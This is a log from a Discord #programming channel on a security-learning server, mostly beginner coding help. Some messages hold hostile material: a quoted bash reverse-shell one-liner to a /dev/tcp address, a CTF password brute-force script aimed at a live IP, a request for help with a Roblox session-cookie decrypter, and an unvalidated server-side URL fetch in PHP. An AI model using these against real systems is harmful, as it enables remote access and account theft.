#programming
1 messages · Page 37 of 1
What's your goal?
output the input 3 times in a single string, spaces included
Well, to combine strings in bash, you do it like this:
#!/bin/bash
VAR1="Hello,"
VAR2="World"
VAR3="$VAR1 $VAR2"
echo "$VAR3"
Output
Hello, World
To read input, you do it like this:
#!/bin/bash
echo Enter your name:
read name
echo Hello, $name
Maybe you can figure it out from this?
input being an array needs a bit of special treatment first, but that should be easily searchable
@true pumice you can also read input if you pipe cat
which is in this case easier to do so I won't have to go through every individual line
cat is already piped through the website
-R is to trace the round trip path
Can you show a screenshot with the command you use?
Hello Can A Expert on Javascript and Powershell Hacking join me in a room Please!
if anyone is free.
i have this Advanced malware i cannot get rid of. they are droping payloads when i surf the web though browser Cache.
How did you reach that conclusion
Nice imput
Guys, is it worth taking the AWS Cloud Practitioner certification?
I'm studying every day to get certified
and
i want to know if it's worth
another question, AWS API Gateway or Kong? I am starting a project and I am between these two. i don't want to be dependent on the AWS API Gateway, but at the same time i want to use the facilities of AWS! AAAAAA so difficult to decide!
hi so I have this:
<?php
$usernameErr = $emailErr = $passwordErr = "";
$username = $email = $password = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (empty($_POST["username"])) {
$usernameErr = "Username is required";
} else {
$username = ($_POST["username"]);
}
if (empty ($_POST["email"])) {
$emailErr = "Email is required";
} else {
$email =($_POST["email"]);
}
if (empty($_POST["password"])) {
$password = "";
} else {
$password = ($_POST["password"]);
}
$ip = $_SERVER['REMOTE_ADDR'];
}
$username = test_input($_POST["username"]);
if (!preg_match("/^[a-zA-Z-' ]*$/",$username)) {
$usernameErr = "Only letters and white space allowed";
}
if ($stmt = $GLOBALS['database'] -> prepare("SELECT `id` FROM `users` WHERE `username` = ? OR `email` = ?"))
{
$stmt -> bind_param("ss", $username, $email);
$stmt -> execute();
$stmt -> bind_result($id);
while ($stmt -> fetch())
{
echo "Could not create account!";
die();
}
$stmt -> close();
}
if ($stmt = $GLOBALS['database'] -> prepare("INSERT INTO `users` (`username`, `email`, `password`, `ip`) VALUES (?, ?, ?, ?)"))
{
$stmt -> bind_param("ssss", $username, $email, $password, $ip);
$stmt -> execute();
$last_id = $stmt -> insert_id; // The ID of the row just inserted
// Once the user is logged in, update the user's session variables
$_SESSION['id'] = $last_id;
$_SESSION['username'] = $username;
$_SESSION['email'] = $email;
$stmt -> close();
// Redirect to homepage
header("Location: " . $GLOBALS['home']);
}
?>
this
and I just want to add stuff like so if I put a symbol in the username it doesnt work
Can you put this into code blocks, please
```php
code here
```
Thanks:)
didnt know I can do it here too
i dont need any server side
literally just on the form
Since this is about careers - try #cyber-and-careers
$username = preg_replace('/[^a-z]/i', '', $username);
You can use preg_replace to replace the symbols form the username.
If you want to display an error, you will have to do something like this:
if (!preg_match("/[a-z0-9]/i", $username){
echo "<p>Username field has invalid characters!</p>";
}
*Not sure if this works, just an example so that you know what you're doing
thank you
Yes you do
Client side filters are trivial to bypass, you just edit the request in burp or remove the filter in your browser
also PHP is all server-side anyways
I am googling to check but just in case .... what can you in C# that you cannot in C or C++ ?
Just out of pure curiosity is there any difference in speed between if not x in list and if x not in list ?
Which one is more cleaner to use? I'm gonna say if x not in list not too sure
Hold on that output is wrong lol
Okay, so
They're pretty much the same because they're both doing the same thing
But, if x not in list is much cleaner due to it being hinting when someone is reading your code if they are a Python developer
In JavaScript, you would use if (!var) (depending), so if not x would make more sense to them, possibly, but either way they're both pretty readable.
I'll throw in that I think Jabba is on the right track to get a reasonable metric - not sure how big sample size is, but it should be 'sufficiently large'. Usually that means at least a few thousand elements in the list.
Another thing to keep in mind, is that the py environment is going through multiple layers of abstraction before your code hits execution on the CPU. System time and Wall time are different, and the scheduler will likely cause additional complications getting consistent timing out of that kind list iteration.
Consider real world problems are doing different kinds of matching. What if the list has an element type of string, is a specific object or is even generalized to as a list of Object?
'Cleaner' is going to be context dependent on what the goal of the check is for. Also do some step through of trivial cases to ensure your logic is doing what you expect.
hello
<ul class="menu">
<li><a href="./recipes/Risotto.html"><img src="./resources/Risotto.png" alt="Risotto Dish"></a></li>
<li><a href="./recipes/Risotto.html">Barley & Broccoli Risotto with Lemon & Basil</a></li>
<li><a href="./recipes/EggSalad.html"><img src="./resources/EggSalad.png" alt="Egg Salad Dish"></a></li>
<li><a href="./recipes/EggSalad.html">Egg Niçoise salad</a></li>
</ul>
.menu li {
display: inline;
}
.menu {
list-style-type: none;
text-align: center;
padding-top: 5%;
}
how can i make the text below the image? not beside it
font-size: size wanted ?
what?
font-size: x-large
Well, it's bigger?
but i want the text under the image
You'll probably need to wrap each list item in a custom <div> to get the layout of the content you want
when i put it on a separate div it puts the other image on a new line
Custom CSS works wonders
thanks, i read about css grid and got it working
Gave +1 Rep to @onyx merlin
if you want to give feedback you can view it here
https://itznemesis.github.io/odin-recipes/index.html
https://css-tricks.com/snippets/css/a-guide-to-flexbox/ and https://css-tricks.com/snippets/css/complete-guide-grid/ are good references
Our comprehensive guide to CSS flexbox layout. This complete guide explains everything about flexbox, focusing on all the different possible properties for the parent element (the flex container) and the child elements (the flex items). It also includes history, demos, patterns, and a browser support chart.
okay ill check them out, thanks
Gave +1 Rep to @brazen eagle
I have a funny problem. It made me laugh because
I don't understand what happened.
I made a simple script to sort wordlists:
for line in $( cat /usr/share/wordlists/rockyou.txt | sort ); do echo $line; done > ckooruy.txt
the output file looks something like :
It prints STDOUT just fine.
but this redirect seems to be an issue
I'm not sure why it's all in machine code
or a better option than >
my 'guess' it's all translated, but > doesn't un-translate it... not sure but it's curious and i found it funny
I think your issue is that you seem to be redirecting the for loop, not the echo
It does work if I simply 'echo'. It will write everything out in STDOUT
no i mean
you've got the redirect after done, which is for the for-loop, not after the $line which would be for the echo
Though I question the necessity for the for-loop in the first place, can't you just use sort /usr/share/wordlists/rockyou.txt > ckooruy.txt?
oh, and you'd wanna use the append thing, >>, rather than > in that scenario
it's non printable characters at the beginning because the rockyou list contains passwords like that, and they get put first after sorting, nothing to worry about
i haven't though of that. Guess i made it more complicated than it needed.
I'll try both
That's all it is, tho.
None of it's human-readable
you sure? if i run the exact same command it does what it's supposed to do
a ton of passwords in the list don't contain letters and symbols are put in first on sorting, you just have to scroll low enough
it never printed those in stdout, that's weird...
maybe i don't fully understand, then
(the strange characters)
depending on the program you use, they may be shown in different ways
I guess I learnt something today, turns out you can use a redirect after a for-loop like that 🤔
Never seen that before
so in an edfitor they might show up but on terminal they might just be invisible
they are unprintable after all
ah, i see
I'll check the whole thing again and see. I'm just trying to make it complicated for the sake of 'learning'
but i also didn't think to just use normal commands
no loop
hmmm... i dunno
that's the end
so it's entirely.... whatever that is. Binary?
No idea
those might be some of those weird characters that aren't printed correctly in some cases
I tried the opposite. Placed the redirect before the end, in it's normal place and it seems to just hang. I guess the loop isn't meant to do this?
most likely it doesn't hang, but it's just slowly redirecting the data
remember, sorting a big file takes a bit
but then you run redirect for each line separately
which takes a long time
ahh, good point
hmmm... still the same result. It's so weird.
it's strange. I'll move on, for now.
Maybe try to figure it out later.
Why not use tee?
lol brb
eh, might need tee -a so you don't keep overwriting the output
I don't want to append. Is that the -a?
I want one, clean list
-a is append
brb, gonna read on it. haha
But there are weird things in rockyou
weird?
Mhm, super irritating when you’re making a brute force-type tool and you have to filter UTF-8 in a language you don’t understand at all
ahh, nice. It writes it out, then redirects
the stdout is annoying but i guess it's an easy fix
and yeah, i guess the katakana was part of the file. I never knew that...
huh...
if that's the case, normal redirect might work. I was jumping to the end of the file, expecting to see "z"
that's what i get for assuming
Tee will stdout yeah
You can normal redirect after debugging but I assumed you wanted console
thanks @brazen eagle @tropic minnow @lilac holly
Gave +1 Rep to @brazen eagle
only gives 1.. 
+rep @tropic minnow
Gave +1 Rep to @tropic minnow
Out of curiosity, anyone here with an abundance of knowledge about twos compelement
It has been bugging me for days
Many of us have degrees in CompSci. What's your question?
I understand we create a cyclic group of Z/2^k, but the addition of 1 i dont fully grasp why it works
I know cyclic groups have 2 primitive numbers
I know we find these with ord(n)=1
Do we use this to generate a group/from this group to find its inverse?
Couldnt find any papers about this
I think you are misunderstanding what Z is
And how it applies to binary
Have you read the wikipedia article on 2's complement?
Yes, i understand how it works in practice
I dont understand the math behind on the addition step
Like in
Take 5, signed int, big-endian
0101
Flip bits
1010
Add one
1011
Because 8 4 2 1
1011 - signed int, start with 1 means neg
First 1 is -8
011 is positive 3
-8 + 3 = -5
I have trouble understanding why the addition of 1 gives us these capabilities
So in this example i understand we work with modulo 2^8
Flip bits we move to neg side
Adding 1 then must mean somekind of buffer has to exist right?
I think it may be about representing 0
Gods that course was so long ago
Say you have -0, then in one's complement it'll be 1111. Add one for 2's complement and you're back to 0000
Dropping the overflow bit
-1 would be 1111, -2 : 1110, ...
It has to then buffer second bit also?
Eh?
Well it makes the math work for addition better as well... -2 + 3 = 1110 + 0011 = 0001
(dropping the overflow)
Oh yeah right
Thanks!
Gave +1 Rep to @brazen eagle
Pretty sure modulo arithmetic is to blame though
-1 % 16 = 15
Unless I'm remembering wrong, it's been over 15 years ..
Youre right on that
Modulo gets weird with negatives
Never got that far into number theory, I'm an engineer
I find myself struggling with basics on many programming task mainly because my base knowledge was built on top of Matlab
Signed ints are quite hard to work with tbh, especially with asymmetric encryption
Weird route of network engineering -> pure math -> cybersec/cryptology
shouldn't be using ints for asymmetric encryption
Shouldnt and cant really either
Is there any fast way to select a file in a linux shell after running ls?
What do you mean "select a file"? ls just lists files in a directory. You can interact with a file from wherever your want on the OS by using an absolute path
$ pwd
/opt
$ ls /home/kali/Desktop
file.txt
$ head -n 1 /home/kali/Desktop/file.txt
This is a completely made up file
$ cat /home/kali/Desktop/file.txt
This is a completely made up file
Something something text
yes, but you would need to type the absolute path or file name
e.g. in metasploit I'm able to select search results by number
which is much fast then typing the path of the exploit
No, not absolute
You can use tab completion
This also isn't programming
I'm aware - I didn't see a better channel 😉
ok, thanks, tab completion works well
current_mail = i.removesuffix("\n")
current_mail.encode('utf8')
print(type(current_mail))
print(type(smtp_data[2]))
print(type(message))
smtp.sendmail(smtp_data[2], current_mail, message.as_string())```
Exception has occurred: AttributeError
'list' object has no attribute 'encode' on last line
output is ```
<class 'str'>
<class 'str'>
<class 'email.mime.multipart.MIMEMultipart'>```
is this a bug?
Without knowing what you're trying to do, yes, it's a bug
oh lol I should've explained, I meant in the library or python itself and not my code
without seeing more context, I cannot say
what is the meaning of '%' in python? return "%i %i" % (max(nn),min(nn))
In this case it formats a string with a tuple of integers?
Thank you
Gave +1 Rep to @onyx merlin
please help me
I decided to study the Lua language, but i dont understand anything in the book made by Roberto Ierusalimschy
function fact(n)
if n == 0 then
return 1
else
return n * fact(n-1)
end
end
print("enter a number:")
a = io.read("*n") -- reads a number
print(fact(a))```
what? I thought that I would study lua, and not try to find a word here that I know.
is there any site with the basics of programming?
this is the first chapter
What specifically don't you understand? "Factorial"?
all this code
Any reason why you chose lua specifically?
Because you have the book at hand or because you're interested in the language?
interested in the language
I know absolutely nothing about programming, should I read another book
I wouldn't start out with books, they might be tough to follow. If you're just getting into programming, try looking for a cheap course for beginners. Probably on Udemy
(They go for $10 almost always)
ok, thanks
Also, lua is kinda niche. Python might have more use cases in general and is probably easier to follow
What are you trying to learn Lua for? @little hawk
Have you considered any alternative languages?
no
Before starting a project, you need to determine the best programming language for the task.
Will save you a lot of time down the line
ok, thank you
Look into C# for Absolute Beginners by Bob Tabor (it's free). I'm a Unity Dev (for now hopefully) for a few years and it's what got me started

Hi, i got my hands on a cookie decrypter for a program im making and it seems to be getting the cookies from the wrong path? Because the cookies im looking for( ROBLOSECURITY(using this as a base due to its major security flaw)) isnt there
(its in python)
Why does this seem related to Roblox...
Because of its flaw?
Its a base for now, ill move onto other things but it seems faster to use
@sly breach still around?
Why are you wanting to make a session cookie logger/decrypter
for fun, i dont intend to use it on anybody tbh its a project im making
Im on summer break so 🤷
You can't go around decrypting Roblox cookies, you're most likely breaking their terms by doing this.
ah i see, sorry for the disturbance then
This looks like a great course programming beginners: https://www.udemy.com/course/philosophy-fundamentals-computer-programming/
tbh, you wouldn't be doing bug bounties on public channels with other ppl looking either. that pretty much violates any responsible disclosure clause in a program
also can I DM ?
right gimme a sec, just finishing a thing
Hey guys, im trying to figure out what formatting type or encoding type C supports: JSON,...
Trying to make cli based program and have to write data in a file and then retrieve it and eddit it if needed. Any suggestions
Natively, none whatsoever
It depends on what you need though. What kind of data are you storing?
text. Just simple text
lets say:
Person:
- Age: 18
- Country: England,....
tc.
etc*
Should be some JSON or yaml parsing libs though
A lot of languages have XML/YAML/JSON/TOML to associative structures libraries.
$exact_url = $_POST['url'];
if (!is_null($exact_url)) {
$url = $exact_url;
$fh = fopen("uploads/".date("Y-m-d"), "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_exec($ch);
curl_close($ch);
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Upload</title>
<link rel="stylesheet" type="text/css" href="css/style.css">
</head>
<body>
<h1>Login</h1>
<form method="POST" action="index.php">
<div class="row">
<label for="email">URL</label>
<input type="text" name="url" placeholder="http://localhost:8000/somefile.ext">
</div>
<button type="submit" name="submit">Login</button>
</form>
</body>
</html>
``` i am trying to download files through curl in php and before adding some css to it, files were downloading to my uploads directory but after that its not downloading,i can see that it makes it hit to my local webserver
@halcyon sphinx date("Y-m-d") returns the day, so unless the day changes it will try writing to the same exact file overwriting it, probably would want to change that to something that won't collide
also you're missing a fclose($fh); after curl_close
Thank you so much, i will try what you have said.
Gave +1 Rep to @faint sparrow
There is really now way to do this over chat because the exercise give instructions
can you ask your professor?
why not ask your professor, they are there to guide you right 🙂
you need to verify before you can share images
!docs verify
isnt it easier to ask this in a js / programming discord server?
Guys, I began to make videos on how to program with C, I want feedback from you https://youtu.be/7ihLRoX1qUc
This is the first video from a series of videos that we will work on to help people learn how to code.
Contents:
- History
- Hello, World explanation
- Compilation process (Preprocessor, Compiler, Linker)
- Comments
- Exercises
#programming #c_programming #computerscience #dev #programminglanguage #programmingprimer #dev_academy #development ...
- Add voiceovers
- Speed up the pace a bit (No need for 18 mins of hello world)
You need to think what differentiates your way of making video from simply reading stuff on Tutorialspoint or similar
You might want to use a blog instead, since it seems like it's much easier to follow and you'd iterate through it faster
- a blog is a better reference in your CV than youtube videos (usually)
- you need to think of your target audience here. I bet almost every beginner C developer won't know what Kali is and won't be able to use the terminal properly. Use VSCode or similar so they have a friendly environment to learn in
Also why Kali?
- might want to start writing scripts (not the programming kind, the "director"-kind) if you want to continue with videos. what you're doing, what you're saying, how long it takes, etc.
- as dextozz said, do voiceovers. code first, then voice over. you're not live coding on twitch
- write the code before you record, have it on another screen and type it from there
- record what you're saying in small bits. a few sentences max. nobody wants to hear you think or breath ('uhm', 'uuuhhhh', breathes in microphone)
- audio recording is a b*tch and getting it right takes a while. short sequences, clear & confident speech, don't have the mic close to your nose or mouth, use a pop-filter, etc.. that's something you have to practice and it will frustrate you in the beginning
- and why the heck kali?
Thank you so much guys for all your feedbacks, or I will try next time to do a tryhackme walkthrough, still I don't know actually.
- For Kali, because I have ideas in my mind to teach things related to security for advanced users, like buffer overflow and things like reverse engineering, etc. but I guess you're right could be easy and better to have the work done on vscode.
- For the quality, yes absolutely right, I worked the video with my headset that I have on my job as a technical IT, and for recording I did that with OBS, and I had no idea how to do better, but now I will try to improve that.
Thank you @glossy vapor @onyx merlin @sullen venture for your great feedback.
Gave +1 Rep to @glossy vapor
where the excel pros at
i have home\folder\subfolder\test.xml
and i want to get everything up until the last \
so for that it would be home\folder\subfolder
regex
Doing that in excel?
Are you looking to do it via VBA with a macro button? Would probably be the easiest
i just spent hours debugging a project because i had an == instead of =... i've been programming for 5 years and this stuff still gets me
Wait til you have == instead of ===
That's happened waay more often. I blame TypeScript.
awk '/^ *-w/ \ &&(/\/etc\/group/ \ ||/\/etc\/passwd/ \ ||/\/etc\/gshadow/ \ ||/\/etc\/shadow/ \ ||/\/etc\/security\/opasswd/) \ &&/ +-p *wa/ \ &&(/ key= *[!-~]* *$/||/ -k *[!-~]* *$/)' /etc/audit/rules.d/*.rules
i keep getting backslash not last character on line but it is the last character oh my god
I feel like trying to get employment in Java but I also like PHP but like idk if PHP I will get hired.
well idk if I'll get hired in either 😄
If you're a competent developer you will get hired
Regardless of the language
Good java and PHP devs are in short supply
this got me pumped!
i have a login page that when i put the incorrect password it show me "Invalid", the question is how to make a simple if to check if the passwword is correct ?
import requests
import os
import sys
import hashlib
username = "Alex".encode("utf-8").hex()
wordlist = "rockyou.txt"
with open(wordlist, "r") as wordlist:
for x in wordlist:
password = hashlib.sha512()
r = requests.get("http://34.141.121.244:31342/auth?name=" + name + "&password=" + password)
if 'Invalid' not in r.text:
print(r.text)
print(r.text)
http://34.141.121.244:31342/auth?name=416c6578&password=6226ff0e50b5313f287a6904ecf242b67d00d28bd211ddae51e8f044d24de0defd4daaa32eecac9bb13f9d2fe462941838937f16613aafdd075075ef9dfe7b64
this is the request
is a challenge
@magic falcon
import requests
import os
import sys
import hashlib
username = "416c6578"
def main():
with open("rockyou.txt", "rb") as wordlist:
for x in wordlist.readlines():
password = hashlib.sha512(x.strip()).hexdigest()
r = requests.get("http://34.141.121.244:31342/auth?name=" + username + "&password=" + password)
if 'Invalid' not in r.text:
print(r.text)
break
print(r.text)
main()
now i dont know how it work break function
damn, python beats me
You should re-examine what you think is supposed to happen
are you doing any step-through debuggin?
im sure this is the correct way, the problem is that the python is not my best friend
What have you done to determine your logic is correct?
so, the user is Alex, and i need to find the password, when the password is incorrect it shows me INVALID.
The problem isn't with python, if the code you pasted looks exactly like what is in your editor, it's structural.
i have a problem with the last condition
if the password is correct, how to make the program to show me the flag
i think is a problem with "break"
i solved
import requests
import os
import sys
import hashlib
import codecs
username = "416c6578"
def main():
with codecs.open("rockyou.txt", "rb") as wordlist:
for x in wordlist.readlines():
password = hashlib.sha512(x.strip()).hexdigest()
r = requests.get("http://35.242.216.162:30251/auth?name=" + username + "&password=" + password)
if 'Invalid' not in r.text:
print(r.text)
break
print(r.text)
main()
Yep.
nice
can someone explain what** >&** does in
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
it redirects both stderr and strout to the specified file.
Is it possible to delete arrays/tuples in python
If I slice all the data an error comes
nvm
can you explain each section?
bash calls bash program
-i makes the resulting shell interactive
& redirects stderr and strout to what??
/dev/tcp/10.0.0.1/8080 the address of the shell
0>&1 redirects input to the output file but why is this necessary?
Try adding your declaration for your menuItems variable within your activeChanger function expression. I think right now it's not actively refreshing your nodeList everytime the function is called.
¿No tiene developer?
As a friendly reminder, this server is english only please.
from selenium import webdriver
import time
chrome_options = Options()
PROXY = "62.113.115.94:16072"
chrome_options.add_argument(f'--proxy-server={PROXY}')
driver = webdriver.Chrome("chromedriver.exe",options=chrome_options)
driver.get("https://api.ipify.org/?format=json")
time.sleep(20)```
any idea why I am getting a "ERR_RESPONSE_HEADERS_TRUNCATED"?
Thank you for recommendation I just bought that Course. I am new to programming and I hope this course will help me with better understanding on the programming concepts
Gave +1 Rep to @hollow dagger
guys quick help with a pygame project !!!!
ask the question, someone may answer
i've created a shooter game and i want to display the score when a bullet hits the enemy but the counter doesnt work its only displayed in the screen
What kind and for what purpose?
global Hits
Hits=0
for b in bulletGr:
if pygame.sprite.spritecollide(b,invaders,True):
b.kill()
Hits=Hits+1
e=Enemy(player_image2,randint(4,8),randint(20,500),player_y2)
invaders.add(e)
font1 = pygame.font.Font(None, 30)
text_lose = font1.render("Hits: " + str(Hits), True, (200, 50, 255))
window.blit(text_lose,(20,60))
what
Where else is the counter supposed to be displayed?
can you explain your error once again?
Just a heads up, don't use global
There are certain times when it's OK-ish. But really, polluting global namespace that way is a terrible idea.
i just got an idea for a game:
what if there was a game where the main theme an 8bit version of its just a burning memory, and slowly turned into the actual song and at the beginning of the game you think its a normal game but as the game goes on there are slowly more game, terrain, and ui elements dissapearing and the colors and vibrance of the game slowly faded away until you reached the end of the game, which would be just a flat black and white area, and then when the person would least expect it, the game goes black, with the title of the game, but colorless and distorted. The game window would automatically close and the games own files would then further be deleted, leaving only a burning memory
it would be like a super mario 64 low poly type game
And then in teh game there would be like a single existential dread among all of the npc's. Like theyre all waiting for something to happen. but nothing ever happens, leaving all of them at the same spot for the entirety of the game
but wat do i know ¯(ツ)/
Sounds fun. How would you program the deletion of the files though?
probably a .bat file or something
Hello
on Kali system, I was returning the internet back after disabling it for activating monitor-mode.However I got an error while restoring wifi
how I can return wifi with monitor mode activated.
I wrote this code: service network-manager restart
But I will get this error
Failed to restart network-manager.service: Unit network-manager.service not found.
Do you understand how to troubleshoot problems with systemd?
Where to start, logs, what network-manager is?
Have you ever used linux before?
Ok, so how familiar are you with systemd?
Alright - well, systemd unit.service should be where you start your documentation search
Next up is to learn what network-manager is, and what the default network stack is for Kali.
If you don't know anything about any of that, starting with doing wifi stuff with kali is going to really frustrating and painful.
What was the linux distro you've been using for 3 years?
I was watching some videos about (ethical programming)
I use it for 1 week
I wasn't entering linux deeply
tbh
A good beginner distro would be ubuntu or fedora
I was doing some experiment for super low potato pc
The first version I used was ubuntu
Create a VM, install from ISO.
I already have VM
I mean what is the difference between ubuntu and kali
You know why I need kali for ?
damn it
What are you trying to hack?
I'm asking so I can answer your questions better
cool
so what were you trying to do with monitor mode? trying to understand the commands you ran and the system changes you made
For enabling monitor mode you have to kill all internet tasks
If you aren't going to tell me the exact command you ran (preferably with screenshots) it's very difficult to tell what you did.
I run this
airmon-ng check kill
to kill any progress of wifi or intent
and then I used this
ifconfig wlan0 down
to letting you adjust on wlan0 I think
Why down?
Do not laugh
I am really do not know
XDDD
I was too lazy to understand why
and yes
to enable the monitor
iwconfig wlan0 mode monitor
and then : ifconfig wlan0 up
I was trying to activate the connection but it does not work
:((
if you are blindly running commands without understanding the reasoning why you should run a command, you are going to eventually brick the system
Not a dead chat, just evidently not willing to support you blindly running commands as Juun said. Honestly wise.
The fact you're using ifconfig is a red flag, and the fact this is #programming is another as this isn't programming related
Morning!
I've got a Python function that's scraping a website to help look at average house sale prices per city:
def AvgPriceCollector(self):
for city in BrowserInfo.cities:
print(f"Data for the city of {city}:\n")
try:
session = requests.Session()
r = session.get(BrowserInfo.URL.format(city), headers=BrowserInfo.headers, timeout=(5, 5))
r.raise_for_status()
soup = BeautifulSoup(r.text, 'html.parser')
for child in soup.find_all('table')[1].children:
print(child.text)
except requests.exceptions.Timeout as timeout:
print(timeout)
except requests.exceptions.HTTPError as httperror:
print(httperror)
except IndexError:
print(f"No Data\n")```
The function works however the output isn't very easy on the eyes.
How would I best go about 'beautifying' a html table with actual headers, columns, etc?
The output for the above currently looks like this
Are you sure you're allowed to scrape said website?
Websites like that usually do not like when you create tools like this
I didn't see anything that said I couldn't
Fixed it by using pandas
def AvgPriceCollector(self):
for city in BrowserInfo.cities:
print(f"Data for the city of {city}:\n")
try:
session = requests.Session()
r = session.get(BrowserInfo.URL.format(city), headers=BrowserInfo.headers, timeout=(5, 5))
r.raise_for_status()
df_list = pd.read_html(r.text)
df = df_list[0]
df_head = df.head()
print(f"{df_head}\n")```
Did you read the terms of service?
Yes
i m working on creating automating web testing tool using bash i need help regarding this can anyone guide me on this
i m on voice chat i will share my screen
I'm not sure that bash is the best tool for this
I was given 1 year to complete a student project, at first I planned to do an operating system with native support of running both EXE and ELF files via a service similar to wine or wsl1 that essentially translates the systems calls to system calls of the native OS but I realized the scope would be too big for 1 year so I ended up just choosing to make a tool that does that with multiple operating systems with one interface where you run the executable without having to know or care about the format or what OS it belongs to, my question is, is that project still feasible within the 1 year time scope or should I bring it down a notch again? It seems very interesting and if anyone has more sources to learn from that'd be lovely.
OS was too big because then I'd have to also implement processes and file system and some more system calls
I guess besides the scope question another question would be, is this a good student project idea? I think it's pretty good and it's kind of innovative given that there's no universal tool that does this, granted, installing multiple softwares is not that much of an issue but having it all at one place is pretty damn cool.
Hi guys, can i mount multiple image file system to a single mount point at once rather replacing with previous mounting point?
Given it's just WSL with an if/else to detect exe or elf headers, I think the scope isn't enough
This channel is for programming
Yes, I was actually wrote a shell script for that, but not working
This is what I was trying to here. But none of it working:)
It gives such error, did not create ext4 fs
It's not really a programming topic, it's a linux question. Please use #infosec-general
ok
i was combining 3 to 4 tools in one so that i don't have to run them one by one using bash scripting
I'd suggest you think about which tools you want to combine, then ask yourself how you envision it to work, whether you want to do something with the output returned by any of these tools. You'd need to have a catch for those outputs, potential error messages etc. Might not be best suited to utilize Bash for this, I'd only ever use it to automate a boring task like for example checking a URL and incrementing numbers for let's say a IDOR vulnerability.
it sounds to me like you essentially want a wrapper for those tools, perhaps another language would be better suited?
Either way, don't let me stop you ofcourse. If you want to do it, you will need to start somewhere 🙂
yeah start by automating one tool, then once that works, add another
What? Just a WSL? Can you elaborate please? Translating system calls from one OS to another is no easy feat and you need to know the system internals of both to accomplish that, windows is even more the case since it's not open source and not documented that much
I'm gonna implement the compatibility layer functionality
I'm not gonna use any framework to do that for me
WSL already does that
Yeah but I'm not gonna use WSL
WSL 2 might be crazy but not WSL 1
It is.
Bear in mind the resources and skills available to Microsoft, in comparison to one undergrad
I got it 👍
I try it in that way then 🙂
Honestly, bring it down as much as possible, unless it's for masters or doctorate. Just get the highest grade/pass and move on. No one will really care about student projects.
If you want to do that anyway, do it in your free time without any pressure
It's a very important project that could determine my future for the next 4-5 years if not more, could be a break into the industry so i want to make it as good as possible
Really? Does it have the same effect if one outside of faculty?
Still... have you added any buffer for it? I'd make on original estimate in hours, then double that time
If that then sounds doable, you can pull it off probably
I present it to a certain organization that is highly respected in the high tech industry in my country and can practically land me jobs in a lot of of great companies
im on some sort of course managed by that organization
where i learn a lot of stuff and then make any project i want
Nice. In that case, come up with an estimate in how many hours it takes for you to execute this. Outline any big unknowns and risks and try to base your estimate on that
well, what do you think about the idea? is it worth pursuing? is it say, equally educative as making my own OS (in the same timespan of course)?
@glossy vapor
.16..21..20..9..14.
you ok there?
Just ask your actual question directly. Is this homework?
yea sorry my copmuter is buggin
no its not its for fun
wow shadow is rustier then shadow thought at this
... idk what that means
it means shadow don't know how to fix it but they might have known how in the distant past
o
This really does look like a basic tic tac toe homework assignment.
Where did you get this from?
not homework but yes its tictactoe
i did it
What tutorial are you going through?
Full Java Course: https://course.alexlorenlee.com/courses/learn-java-fast
Get my favorite programming audiobook for free! https://audibletrial.com/alexleefree
Free tips: https://bit.ly/3vuD81C
Springboard Software Engineering BootCamp (Use my code ALEXLEE for $1000 USD off): https://bit.ly/3EZp0As
If you're new to programming, I recommend solvi...
im at 5:58
Where's your import of scanner?
oooh that makes sense james
If you don't understand, then you need to follow a better tutorial
ok
Perhaps one that actually teaches rather than just encouraging you to copy.
i want to learn my friend sent this guy to me and said it was good
literally watch the next 2 seconds. It's not a total garbage tutorial, but text is often easier to follow than video or live demo.
But you should google the Java Class that the video uses, and work to understand how Java libraries are imported.
i did I'm confused it doesn't look like that for me
yea...
If the youtube person is using Eclipse, it should look the same. My Eclipse looks like that, from what I remember. If yours doesn't, you did something to the config.
no i didn't i even reset it
and it didnt look like his
What channels do you recommend?
Just pay $10 for a highest rated Udemy course
YouTube is too inconsistent and not good enough
Depends on how well you research
No way that they researches well enough at the start. I mean, they are asking questions about syntax 🤷
It’s all about the mindset and learning. If you’re not willing to put in the effort to learn at the start, why bother?
Of course they are, but can you really expect them to know how to properly research stuff and sweat for hours trying to figure something out? Why wouldn't they just take a step-by-step course to learn the basics first?
It's just about getting them into this stuff slowly. No need to struggle when the entry can be completely painless. They've got years of struggle ahead of them if they continue
hey i want to learn programing also pls help me wht to start with i have visutal code and wht to download with it
*visual
*Let's
https://automatetheboringstuff.com/. Here's a good primer
ok thx
Gave +1 Rep to @brazen eagle
The concepts will apply to other languages as well
Thanks
Gave +1 Rep to @lyric mirage
@rapid hound is this homework?
Its college project
@finite cedar Here is where you start with java
This tutor is excellent
Hi! I want to start learning Python, any recomendation?
Check pin message
Python tutorial for beginners full course
#python #tutorial #beginners
⭐️Time Stamps⭐️
#1 (00:00:00) Python tutorial for beginners 🐍
#2 (00:05:57) variables ✘
#3 (00;17;38) multiple assignment 🔠
#4 (00:20:27) string methods 〰️
#5 (00:25:13) type cast 💱
#6 (00:30:14) user input ⌨️
#7 (00:36:50) math functions 🧮
#8 (00:40:58...
Thxs
I get this error when I try to install pyhash==0.9.3
I tried downgrading pip, installing different setup_tools but nothing worked so far
what can I also try?
Using cached pyhash-0.9.3.tar.gz (602 kB)
Preparing metadata (setup.py) ... error
error: subprocess-exited-with-error
× python setup.py egg_info did not run successfully.
│ exit code: 1
╰─> [7 lines of output]
/home/alex/.local/lib/python3.10/site-packages/setuptools/config/setupcfg.py:463: SetuptoolsDeprecationWarning: The license_file parameter is deprecated, use license_files instead.
warnings.warn(msg, warning_class)
/home/alex/.local/lib/python3.10/site-packages/pkg_resources/__init__.py:123: PkgResourcesDeprecationWarning: 0.1.43ubuntu1 is an invalid version and will not be supported in a future release
warnings.warn(
/home/alex/.local/lib/python3.10/site-packages/setuptools/installer.py:27: SetuptoolsDeprecationWarning: setuptools.installer is deprecated. Requirements should be satisfied by a PEP 517 installer.
warnings.warn(
error in pyhash setup command: use_2to3 is invalid.
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
error: metadata-generation-failed
× Encountered error while generating package metadata.
╰─> See above for output.
note: This is an issue with the package mentioned above, not pip.
hint: See above for details.
nvm solved it, I was missing some packages
i learning python but i need to test my general knowledge, so please who can provide me a PYTHON PROJECT... i will really appreciate it.. send it on my DM
Hello
X,Y,Z = 20,10,60
print(X,Y,Z__________)
Fill the line to get output
20,10,60
Anyone know the code ?
Is not the h/w !
